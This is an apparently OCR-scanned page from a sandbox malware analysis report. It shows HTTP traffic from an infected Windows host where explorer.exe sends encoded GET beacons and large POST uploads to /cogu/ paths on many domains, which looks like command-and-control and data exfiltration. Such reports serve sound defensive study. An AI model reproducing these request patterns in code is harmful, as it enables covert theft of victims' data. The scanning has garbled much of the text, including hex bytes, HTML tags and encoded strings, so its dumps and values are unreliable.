78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e Od Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process

198.59.144.16 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 13, 2021 6536

15:50:18.435197115 CEST

Oct 13, 2021 6537

15:50:18.570564985 CEST

Session ID Source IP

3 192.168.11.20
kBytes

Timestamp transferred

Session ID Source IP

30 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6538

15:50:23.850781918 CEST

Session ID Source IP

31 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6539

15:50:34.251701117 CEST

Session ID Source IP

32 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6539

15:50:39.583606958 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49825

Direction

Source Port

49813

Direction

ouT

Source Port
49814

Direction
ouT

Source Port
49815

Direction

ouT

Data

GET /cogu/?E6=7eaza+Vm8yYemsyz/zzwjWrklc8Yi5Ho5HX5TNM7allR4urhJrmRG4YV/48q0bSefO77&-Z=5j3dvérhizRPIO
MP HTTP/1.1

Host: www.centralcontable.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Wed, 13 Oct 2021 13:50:18 GMT

Server: Apache

Content-Security-Policy: upgrade-insecure-requests;

Location: https://www.centralcontable.net/cogu/?E6=7eaza+Vm8yYemsyz/zzwjWrklc8YiSHo5HX5TNM7allR4urhJ
rmRG4YV/48q0bSefO77&-Z=5j3dv6rhizRPIOMP

Content-Length: 317

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70
73 3a 2f 2f 77 77 77 2e 63 65 6e 74 72 61 6¢ 63 6f 6 74 61 62 6C 65 2€ 6e 65 74 2f 63 6f 67 75 2f 3f 45 36 3d 37 65 61 7a
61 2b 56 6d 38 79 59 65 6d 73 79 7a 2f 7a 7a 77 6a 57 72 6b 6¢ 63 38 59 69 35 48 6f 35 48 58 35 54 4e 4d 37 61 6¢ 6¢ 52
34757268 4a 72 6d 52 47 34 59 56 2f 34 38 71 30 62 53 65 66 4f 37 37 26 61 6d 70 3b 2d 5a 3d 35 6a 33 64 76 36 72
68 69 7a 52 50 6¢ 30 4d 50 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="https://www.centralcontable.net/cogu/?E6=7eaza+Vm8
yYemsyz/zzwjWrklc8Yi5Ho5HX5TNM7allR4urhJrmRG4YV/4800bSefO77&amp;-Z=5j3dv6rhizRPIOMP">here</a>.</p></
body></html>

Destination IP Destination Port Process

172.217.168.33 443 C:\Program Files (x86)\AidrOp8Ix\certmgr3ff.exe

Data

Destination IP Destination Port Process

198.54.117.211 80 C:\Windows\explorer.exe

Data

GET /cogu/?-Z=5j3dvérhizRPIOMP&E6=jcFOH/ZxkSx2B+e0zji128R7cFyPyE6Tynf2GelbWKAhzBX6SEIR/9TL
Wk4pwFmflt+F HTTP/1.1

Host: www.marvellouslles.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP  Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XU0191KcVQfEEWsMJI9UBYnICa/I+dhdLiWjl TAS8DRbwOP6fY Umdo8NYhzdUy3C+FUJf&EVpdF=D
6AIWhC HTTP/1.1

Host: www.domainair.biz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

204.141.43.204 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=NkcQ30DOYkJIGNuF95ZpkIKht5WO0ulo+Ok2Me3ITyYaTul86BWuzspf8yVeXKwyiufl+B&EVpdF=D
6AIWhC HTTP/1.1

Host: www.nazfoodstuff.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Oct 13, 2021 6541

15:50:39.754080057 CEST

Session ID Source IP

33 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6545

15:50:44.773617983 CEST

Oct 13, 2021 6546
15:50:44.881392956 CEST

Session ID Source IP

34 192.168.11.20

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49816

Direction
ouT

Source Port

49817

Data

HTTP/1.1 404

Server: ZGS

Date: Wed, 13 Oct 2021 13:50:39 GMT

Content-Type: text/html

Content-Length: 4647

Connection: close

Set-Cookie: Ocea9df7db=cd858cf068bec389eea549b00143a3a9; Path=/

X-XSS-Protection: 1

Set-Cookie: csrfc=255e1502-de38-45e2-b93b-bf59983067bc;path=/;priority=high

Set-Cookie: _zcsr_tmp=255e1502-de38-45e2-b93b-bf59983067bc;path=/;Same Site=Strict;priority=high

Pragma: no-cache

Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate

Expires: Thu, 01 Jan 1970 00:00:00 GMT

vary: accept-encoding

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0a 20 20 20 3c 68 65 61 64 3e 0a 20 20 20
2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2¢
20 6e 6f 66 6f 6¢ 6¢ 6f 77 2¢ 20 6e 6f 61 72 63 68 69 76 65 2¢ 20 6e 6f 73 6 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20
2020 3c 74 69 74 6¢ 65 3e 5a 6f 68 6f 3¢ 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 3c 6¢ 69 6e 6b 20 74 79 70 65 3d 22
74657874 2f63 73 7322 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6
7473 3f 66 61 6d 69 6¢ 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2¢ 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79
6¢c 65 3e 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d
69 6¢ 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20
20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 70 7
8 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 70 78 3b 20 0a 20 20 20 20 20 20 20 20 20
2020 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 20 20 20 7d Oa
20 20 20 20 20 20 20 20 20 2e 74 6f 70 43 6f 6¢ 6f 72 73 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f
75 6e 64 3a 20 2d 6d 6f 7a 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37 33 64
20 30 25 2c¢ 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20
35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30 30 20
37 3525 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75
6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37
3364 20 30 25 2c 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33
3520 35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30
30 20 37 35 25 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72
6f 75 6e 64 2d 73 69 7a 65 3a 34 35

Data Ascii: <IDOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nos

nippet" />  <title>Zoho</title>  <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600">
<style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:opx;
padding:0pXx; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left,

#f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%);
background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5
75%, #fdc000 75%,#fdc000 100%); background-size:45

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=TP90dDgalUD062Nc3ik6VEBCj7pU3sm2020GxDUNHqLIP8RyY/BX8xz+WUeumcOFdCH3f&EVpdF=D
B6AIWhC HTTP/1.1

Host: www.cacaolixir.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Oct 2021 13:50:44 GMT

Content-Type: text/html

Content-Length: 275

ETag: "615f9602-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></htm|>

Destination IP Destination Port Process

66.96.130.148 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred Direction

Oct 13, 2021 6546 ouT
15:50:49.983412027 CEST

Oct 13, 2021 6548 IN
15:50:50.095890045 CEST

Session ID Source IP Source Port

35 192.168.11.20 49818
kBytes

Timestamp transferred Direction

Oct 13, 2021 6548 ouT

15:50:55.307637930 CEST

Oct 13, 2021 6549 IN
15:50:55.578366995 CEST

Session ID Source IP Source Port

36 192.168.11.20 49819

Copyright Joe Security LLC 2021

Data

GET /cogu/?E6=Vt5Qt20mygQqgSIUs1LnTjim5PAf0+j+U7GfZi7PpDW7/xLcDx4cEzk7U78MhAa3f93Z&EVpdF=D6AIWhC
HTTP/1.1

Host: www.fishermandm.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:50:50 GMT

Content-Type: text/html

Content-Length: 867

Connection: close

Server: Apache/2

Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT

Accept-Ranges: bytes

Age: 0

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 0d Oa 20 20 20 20 3c 68 65 61 64
3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46
6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 20 20 20 20 20 20 20 20 3¢ 73 74 79 6¢ 65 3e 0d Oa 20 20 20 20 20 20 20 20 20
2020 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b
20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a
2030 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d Oa 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6¢c 65 3e 0d Oa 20 20 2
020202020203c 73637269 707420737263 3d 22 2f2f61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f
61 6a 61 78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c
2f 73 63 72 69 70 74 3e 0d Oa 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 7
66173637269 70 74 22 20 6¢ 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d Oa 20 20 20 20 20
2020 202020202076 6172207572 6¢ 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e
63 6f 6d 2f 3f 64 6e 3d 27 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f
6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d Oa 20 20 20 20 20 20 20 20 20 20 20
20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6 28 29 20 7b 0d Oa 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2¢ 20 75 72
6¢ 29 3b 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d Oa 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e
0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d Oa 20 20 20 20 20 20 20 20 3c 69 66 72 61
6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76
69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73
63 72 6f 6¢ 6¢ 69 6€ 67 3d 22 6e 6f 22 3e 0d Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73
65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d Oa 0d Oa 20 20 20 20
2020 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <IDOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #
ad_frame{ height:800pXx; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//aj
ax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaS
cript"> var url = 'http://www.searchvity.com/?dn=" + document.domain + '&pid=9POL6F2H4'; $(do
cument).ready(function() { $(*#ad_frame').attr('src’, url); D </script> </head> <body> <ifra

me id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not
support iframe’s --> <liframe> </body></html|>

Destination IP  Destination Port Process
192.64.116.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=kZBNmwv9/eiuWktgT/6kcZDtIw48mlhVim1ri0sSAffAI4dIXBHSptGOKbrWsOvy+Lgt&EVpdF=DEAIWhC
HTTP/1.1

Host: www.high-clicks.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:50:55 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 281

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70
61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 68 69 67 68
2d 63 6¢ 69 63 6b 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.high-clicks.com Port 80</address></body></htm|>

Destination IP Destination Port Process

216.189.108.75 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Oct 13, 2021 6551

15:51:09.405009985 CEST

Oct 13, 2021 6682

15:51:09.991575956 CEST

Session ID Source IP

37 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6579

15:51:09.550587893 CEST

Oct 13, 2021 6621
15:51:09.698191881 CEST

Session ID Source IP

38 192.168.11.20

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49820

Direction
ouT

Source Port

49821

Data

POST /cogu/ HTTP/1.1

Host: www.tpmionline.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.tpmionline.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.tpmionline.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 66 37 4e 43 71 33 70 65 49 4f 6¢ 69 50 33 6e 34 71 78 5a 6b 64 6f 59 35 48 64 4a 72 38 69 42 4f 53
4e 4b 6b 37 4b 7e 67 59 5f 71 59 6e 6b 44 51 6f 2d 44 63 45 5f 47 6d 73 79 42 70 63 33 6e 43 45 59 73 58 4c 66 50 73 73
4f 41 68 65 53 58 32 4e 54 71 69 31 50 37 4d 44 65 6e 63 7e 69 41 69 31 50 61 57 69 65 42 39 58 51 7e 54 71 68 6¢ 46
55 4f 74 37 33 59 76 4b 30 4d 62 4e 43 6b 45 79 6a 4a 6¢ 36 7e 38 75 42 37 34 65 4f 52 6e 59 30 46 4d 58 5f 44 50 69 68
55 78 63 6a 6b 49 6f 57 7e 72 6d 31 47 57 75 62 51 70 42 42 45 7a 64 72 7a 67 4a 5f 37 62 6e 43 58 53 69 4e 4a 36 76
7139 61 39 59 31 4e 31 63 59 56 7e 65 72 4d 30 74 28 54 36 57 45 6d 6e 4b 49 2d 6b 56 36 64 53 49 78 4f 53 46 54 48 5
5 4e 42 54 6a 38 6e 6d 77 44 32 72 46 63 34 53 57 44 33 6f 38 57 72 35 72 69 34 74 43 62 31 6¢ 56 38 72 52 6e 5f 30 47
77 65 6e 41 68 5a 42 71 6d 76 47 36 6d 4c 64 58 6¢ 71 53 69 77 52 54 4f 75 39 65 76 50 39 4d 74 5a 59 30 45 72 4a 64
53 45 32 44 45 43 59 54 74 64 48 71 41 49 41 37 77 5a 48 34 46 33 47 79 71 44 30 52 62 4a 4d 33 6d 61 56 33 4d 54 76
4c 44 A7 4c 41 70 6a 47 6f 63 59 50 4a 2d 67 6a 52 4c 59 5f 70 35 46 51 28 5a 30 4f 59 33 34 38 68 41 56 53 55 37 63 77
3048 71 70 56 44 5a 31 4c 5f 45 34 6a 76 53 4d 6¢ 4d 68 64 70 30 6d 6f 6f 4c 43 56 31 39 36 38 78 78 59 39 4d 55 28 46
58 78 7e 56 42 6¢ 39 4e 64 49 6¢ 6e 42 58 6e 7a 30 6f 58 68 62 79 4a 6e 44 76 66 77 72 72 37 78 6f 63 47 41 71 39 53 67
37 2d 5a 78 73 41 57 6d 28 56 6a 48 49 55 37 30 75 56 6a 39 48 53 7e 59 32 31 64 48 67 64 45 61 39 56 34 61 58 58 39
44 6¢ 43 63 58 46 69 38 35 4d 32 38 6a 4f 45 72 4f 44 72 52 39 4b 4d 49 55 47 32 45 4a 31 77 72 39 58 42 46 58 58 4d
7e 37 6e 63 36 53 7e 6f 53 39 45 5a 65 74 47 39 6¢ 31 33 31 5a 55 71 65 44 43 42 65 39 56 74 54 36 75 75 66 41 78 66
78523451 73 65 31 42 45 66 6b 56 47 51 62 4d 54 75 78 6¢ 59 6d 5f 71 59 44 4b 36 51 33 76 7e 35 5a 37 38 4d 39 51
4f 5a 36 7a 4e 2d 47 37 4a 78 71 59 44 6e 75 73 77 4d 42 37 37 58 69 41 57 74 78 71 47 31 74 6b 6e 72 69 45 58 4b 77
39 6¢ 50 61 34 69 66 6f 68 69 4f 45 67 6f 35 6e 4a 51 52 5a 57 70 43 4f 32 6¢ 70 70 63 47 4a 75 61 49 41 66 6a 57 78 43
50 75 4b 31 73 5a 4d 4f 47 65 39 53 75 4f 7a 37 4a 50 58 48 4f 74 74 77 6a 43 52 50 74 37 44 46 75 28 47 59 49 4d 34 32
68 68 66 36 2d 64 75 36 6e 7e 4a 78 47 32 79 70 66 61 6a 48 30 34 36 75 49 63 7a 64 57 7a 54 4e 70 4f 78 61 69 48 4e
4158 67 38 47 68 6a 70 41 6f 28 5a 73 35 28 6¢ 31 73 4a 72 6a 67 4f 76 50 31 39 63 76 50 59 50 34 32 61 43 59 59 51
3257 78 62 33 67 48 47 37 46 31 70 77 4b 33 71 50 67 35 64 6e 7a 5559 7a 76 72 57 73 7e 6e 7a 57 50 69 67 4e 68 56
46 30 79 6b 64 6a 31 4b 67 59 59 2d 56 74 4b 52 61 32 7a 58 76 6b 61 4c 62 53 74 61 34 4d 58 6b 41 65 37 6¢ 33 46 4a
6d 57 71 34 3151 77 51 77 78 41 71 64 37 45 68 49 4d 62 64 77 70 77 6d 73 7a 4e 74 53 75 74 48 5f 34 64

Data Ascii: E6=f7NCq3pelOliP3n4qxZkdoY5HdJr8iBOSNKk7K~gY_qYnkDQo-DcE_GmsyBpc3nCEYsXLfPssOA
heSX2NTgi1lP7MDenc~iAilPaWieBIXQ~TghlIFUOt73YvKOMbNCKEYjJI6~8uB74eORNYOFMX_DPihUxcjkloW~rm1G
WubQpBBEzdrzgJ_7bnCXSiNJ6vg9a9Y 1IN1cYV~erMOt(TEWEMNKI-kV6dSIXOSFTHUNBTj8nmwD2rFc4SWD308Wr5r
i4tCb1IV8rRn_0GwenAhZBgmvG6emLdXIgSiwRTOu9evPIMtZYOErJdSE2DECY TtdHgAIA7WZH4F3GygDORbIM3maVv3
MTVLDGLApjGocYPJ-gjRLY_p5FQ(Z00Y348hAVSU7cwOHgpVDZ1L_E4jvSMIMhdpOmooLCV1968xxYIMU(FXx~VBI9
NdlInBXnz0oXhbyJnDviwrr7xocGAq9Sg7-ZxsAWm(VjHIU70uVj9HS~Y21dHgdEa9V4aXX9DICcXFi85M28jOErOD
rRIKMIUG2EJ1Iwr9XBFXXM~7nc6S~0S9EZetG91131ZUqeDCBe9ViT6uufAxixR4Qsel1BEfkVGQbMTuxlYm_qYDK6Q3
V~5Z78M9Q0Z6zN-G7JIxqYDnuswMB77XiAWtxqG1tknriEXKw9IPa4ifohiOEgo5nJQRZWpCO2lppcGJual AffWxCPu
K1sZMOGe9SuOz7JPXHOttwjCRPt7DFu(GYIM42hhf6-dubn~IxG2ypfajH046ulczdWzTNpOxaiHNAXg8GhjpAo(Zs
5(11sJrjgOvP19cvPYP42aCYYQ2Wxb3gHG 7F1pwK3qPg5dnzUY zvrWs~nzWPigNhVFOykdj1KgYY-VtKRa2zXvkalb
Sta4MXkAe7I3FImWg41QwQwxAqd7EhIMbdwpwmszNtSutH_4d

HTTP/1.1 200 OK

Date: Wed, 13 Oct 2021 21:51:09 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Status: 304

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination IP  Destination Port Process

216.189.108.75 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=Q5540RkvIutfUkv4jGh7NesFHfEN9TtIOrndmKD218/SIFrfn/DKKL7940R4DTj3bJKH&EVpdF=D6AIWhC
HTTP/1.1

Host: www.tpmionline.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Wed, 13 Oct 2021 21:51:10 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Status: 304

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

199.34.228.191 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Oct 13, 2021 6685
15:51:14.870745897 CEST

Session ID Source IP

39 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6723

15:51:15.031754017 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49822

Direction

ouT

Data

POST /cogu/ HTTP/1.1

Host: www.shopsharpgraphics.com

Connection: close

Content-Length: 131140

Cache-Control: no-cache

Origin: http://www.shopsharpgraphics.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.shopsharpgraphics.com/cogu/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 45 36 3d 7a 35 75 32 69 6b 49 35 4f 46 74 41 49 76 31 76 35 72 52 51 5a 75 67 56 43 6f 74 71 74 52 65 52 48
61 65 30 5a 49 36 73 4f 33 28 48 4e 63 6f 39 74 74 45 67 6a 51 6¢ 39 6¢ 79 79 55 59 5f 43 4e 36 62 53 6f 46 75 54 49 6a
49 62 58 6d 4b 7e 31 59 30 35 4c 32 50 6b 6b 79 34 54 4b 75 62 4f 4c 6d 7a 72 4e 6e 30 43 30 35 52 68 56 72 33 6f 33 7e
323857 61617479 6b 77 36 316243 6e 6d 4a 37 7a 56 39 53 45 5f 6f 59 61 42 78 63 69 7a 59 5a 46 62 53 63 67 6¢ 49
